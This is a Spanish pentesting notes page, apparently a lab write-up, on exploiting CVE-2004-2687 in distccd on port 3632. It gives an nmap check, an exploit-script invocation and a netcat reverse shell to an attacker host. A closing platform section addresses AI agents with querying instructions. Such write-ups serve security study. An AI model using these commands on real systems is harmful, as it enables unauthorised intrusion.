> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/ports-and-services/distcc-3632.md).

# distcc - 3632

> Distcc es una herramienta para acelerar el proceso de compilación utilizando los recursos no utilizados de otros equipos en la red. Cuando se configura en una máquina, puede distribuir sus tareas de compilación a otros sistemas que ejecutan el demonio distccd y que tienen un compilador compatible.

#### Vulnerabilidad identificada

La versión 4.2.4 de distccd escucha en el puerto 3632 y es vulnerable a CVE-2004-2687. Esta vulnerabilidad permite a un atacante ejecutar comandos arbitrarios con los privilegios del usuario bajo el que se ejecuta el demonio (a menudo un usuario sin privilegios, pero esto puede variar según la configuración).

#### Comprobación de vulnerabilidad

Confirma la vulnerabilidad con el siguiente script de Nmap:

```bash
nmap -p 3632 10.10.10.3 --script distcc-cve2004-2687
```

El resultado indica que el servidor es efectivamente vulnerable.

<figure><img src="/files/62813d89ea5ca9ae1a21dfaa27a9b0ce8e2a2880" alt=""><figcaption></figcaption></figure>

### Explotación

#### Ejecución de un script de Python

Explota la vulnerabilidad con el siguiente script de Python:

{% embed url="<https://github.com/angelpimentell/distcc_cve_2004-2687_exploit>" %}

```bash
python3 main.py -i 10.10.10.3 -p 3632
```

Esto permite la ejecución de comandos arbitrarios en la máquina objetivo.

<figure><img src="/files/51b13352767f80328e1375c8a7137bd2e23030fb" alt=""><figcaption></figcaption></figure>

#### Ejecución de una shell inversa

Escucha en el puerto 443:

```bash
nc -nlvp 443
```

Ejecuta el siguiente comando desde la máquina objetivo para establecer la conexión:

```bash
nc 10.10.14.26 443 -e /bin/bash
```

<figure><img src="/files/0f6c50090324d096ebec99d74573affe55feef1a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/ports-and-services/distcc-3632.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
